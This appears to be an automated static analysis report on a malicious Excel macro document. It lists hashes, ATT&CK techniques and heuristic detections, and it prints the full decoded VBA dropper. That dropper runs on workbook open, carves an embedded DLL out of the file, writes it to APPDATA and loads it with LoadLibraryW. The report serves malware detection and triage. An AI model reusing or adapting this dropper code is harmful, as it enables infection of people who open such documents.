Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 60d235fb50f058f0…

MALICIOUS

Office (OLE)

334.0 KB Created: 2019-08-30 09:14:50 Authoring application: Microsoft Excel First seen: 2020-02-04
MD5: 3497e797b1ae1c4aaabdfaef4a900259 SHA-1: 013de3efc778638a174e0f07c6b83a421154bfc9 SHA-256: 60d235fb50f058f03738e10953d8a9fc756bb53352138d6ba6839d3d7066f2c2
376 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample is a malicious Microsoft Excel file containing VBA macros. The Workbook_Open macro executes a second-stage PE executable embedded within the document. The script also attempts to copy a DLL file to the user's APPDATA directory, likely to establish persistence or facilitate further malicious activity.

Heuristics 11

  • ClamAV: Xls.Dropper.Mrrk-7165692-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Mrrk-7165692-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set oApp = CreateObject("Shell.Application")
        oApp.Namespace(ZipFolder).CopyHere oApp.Namespace(ZipName).items.Item("xl\embeddings\oleObject1.bin")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
    ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
    ChDir (Environ("TEMP"))
        UserForm1.Show
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4156 bytes
SHA-256: 84a27d05a3c65b65d4c628da6f96459821ba88d7ac253fd2ade3a5b4683f5405
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "l1"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_Open()
ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
ChDir (Environ("TEMP"))
    UserForm1.Show
ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
End Sub


Attribute VB_Name = "bb"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"


Public Sub CreateGifFile()
    TempName = Environ("TEMP") & "\13.xlsx"
    ZipName = TempName + ".zip"
    ZipFolder = Environ("TEMP") '& "\UnzTmp"
  
    Dim size As Long
    Dim num As Integer
    Dim ADATA As String
    Dim nm As String
    ADATA = Environ("APPDATA")
#If Win64 Then
    nm = ADATA + "\exchange2.dll"
    size = 66048
    num = 2
#Else
    
    nm = ADATA + "\exchange1.dll"
   size = 81920
    num = 1
#End If
          
    On Error Resume Next
    Kill ZipName
    Kill ZipFolder & "\oleObject*.bin"
  
    Kill nm
    On Error GoTo 0

    ThisWorkbook.Sheets.Copy
    Application.DisplayAlerts = False
    ActiveWorkbook.SaveAs TempName, FileFormat:=51
    ActiveWorkbook.Close

    

    FileCopy TempName, ZipName
    
    Set oApp = CreateObject("Shell.Application")
    oApp.Namespace(ZipFolder).CopyHere oApp.Namespace(ZipName).items.Item("xl\embeddings\oleObject1.bin")
    ReadAndWriteExtractedBinFile ZipFolder + "\oleObject1.bin", nm, size, num
    
    ChDir (ADATA)
    Hwnd = k32LL(nm)
    Amway

End Sub
Sub ReadAndWriteExtractedBinFile(s As String, nm As String, fl As Long, num As Integer)
    Dim intFileNum As Long, bytTemp1 As Byte, bytTemp2 As Byte, bytTemp3 As Byte
    Dim NewAr() As Long

    ReDim NewAr(1 To fl)
    NewAr(1) = CByte(77)
    NewAr(2) = CByte(90)
    NewAr(3) = CByte(144)
    
    intFileNum = FreeFile
    Open s For Binary Access Read As intFileNum
    Dim cur As Integer
    cur = 1
    Do While Not EOF(intFileNum)
        Get intFileNum, , bytTemp1
        If bytTemp1 = NewAr(1) Then
           Get intFileNum, , bytTemp2
           If bytTemp2 = NewAr(2) Then
                Get intFileNum, , bytTemp3
                If bytTemp3 = NewAr(3) Then
                     If cur = num Then
                        For k = 4 To fl
                            Get intFileNum, , bytTemp1
                            NewAr(k) = bytTemp1
                            Next k
                         Exit Do
                     Else
                        cur = cur + 1
                     End If
                End If
           End If
        End If
    Loop
    Close intFileNum
    
    intFileNum = FreeFile
    Open nm For Binary Lock Read Write As #intFileNum
    For i = LBound(NewAr) To UBound(NewAr)
        Put #intFileNum, , CByte(NewAr(i))
    Next i

    Close #intFileNum
End Sub




Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{C6DDD3EA-9DB8-4493-AF37-EAA536550A30}{C596E5BB-7099-4B4F-8859-0FF1E5F49662}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Activate()

CreateGifFile
End Sub


Attribute VB_Name = "Module2"
#If Win64 Then
    Public Declare PtrSafe Function Amway Lib _
        "exchange2.dll" () As Integer
    Public Declare PtrSafe Function k32LL Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As String) As Long
#Else
    Public Declare Function Amway Lib _
        "exchange1.dll" () As Integer
    Public Declare Function k32LL Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As String) As Long
#End If
embedded_office_00003f62.exe embedded-pe Office MZ+PE at offset 0x3F62 325790 bytes
SHA-256: f4a38777a8bf9f3bd8503f7d254aa61817af382d7a52b4d64ee7d7f981ff291f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: MBD00DF435B/Ole10Native 160402 bytes
SHA-256: bf8fc1738373539cc0f843890c7eedb526d9ca8f20ad11efa18cc491eb842815